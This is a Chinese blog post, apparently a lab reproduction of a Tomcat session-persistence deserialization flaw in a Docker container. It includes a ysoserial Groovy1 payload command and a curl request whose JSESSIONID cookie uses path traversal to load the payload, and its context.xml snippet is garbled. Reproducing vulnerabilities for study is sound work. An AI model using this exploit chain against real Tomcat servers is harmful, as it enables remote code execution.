采用docker容器搭建(复现的比较垃圾,本来想搞个docker容器镜像出来,不过好多问题没搞定,不过漏洞复现的原理一样,还望大佬们勿怪,think you)
1、 加载一个ubuntu容器(极其精简)
docker pull ubuntu
2、运行进入Ubuntu系统命令:
docker run -ti ubuntu bash
3、共享宿主机目录到Ubuntu系统中(执行2,不用执行3):
docker run -it -v /AAA:/BBB ubuntu bash
4、登陆docker中的ubuntu镜像系统:
docker run -ti ubuntu /bin/bash
5、正确退出系统方式:
先按,ctrl+p
再按,ctrl+q
6、下载tomcat 10.0.0-M4,下载地址:
apt install wget
wget https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz
7、安装tomcat需要java8环境,Java8环境安装教程
https://www.jianshu.com/p/9ec7838411c8
8、搭建一个tomcat服务,下载tomcat 10.0.0-M4,下载地址:
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz
9、搭建tomcat
在/usr/local/下创建一个tomcat目录,将文件解压进去
mkdir /usr/local/tomcat
tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/
修改/usr/local/tomcat/conf/context.xlm 添加Manager
<!-- Default set of monitored resources. If one of these changes, the --><!-- web application will be reloaded. -->WEB-INF/web.xmlWEB-INF/tomcat-web.xml${catalina.base}/conf/web.xml<!-- Uncomment this to enable session persistence across Tomcat restarts --><!-- <Manager pathname="SESSIONS.ser" /> -->
这个 directory 设置成什么都没有关系, 因为不过滤../
10、下载 groovy-2.3.9.jar
https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9
将 groovy-2.3.9.jar 放入
/usr/local/tomcat/lib
11、执行语句运行 Tomcat
/usr/local/tomcat/bin/catalina.sh start
12、配置tomcat的开机启动
https://www.cnblogs.com/suphowe/p/12066726.html
13、由于不知道怎么才可以将搭建的docker容器端口映射到本地,所以采用在容器内进行漏洞复现
1、采用ysoserial生成payload
java -jar ysoserial-master-30099844c6-1.jar Groovy1"touch /tmp/2333">/tmp/test.session (/tmp/test.session为自己的服务器)
2、将生成的session文件上传到容器中tmp/(docker cp这个命令我这里用不了,采用的是通过http协议,从服务器上下载的)
3、在容器内部采用curl进行验证
curl 'http://127.0.0.1:/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'
4、验证结果

参考链接:
https://www.jianshu.com/p/9ec7838411c8
https://mp.weixin.qq.com/s/r8Mk1TYJqFIxDk8SkWorrg
https://www.freebuf.com/vuls/245232.html
网友评论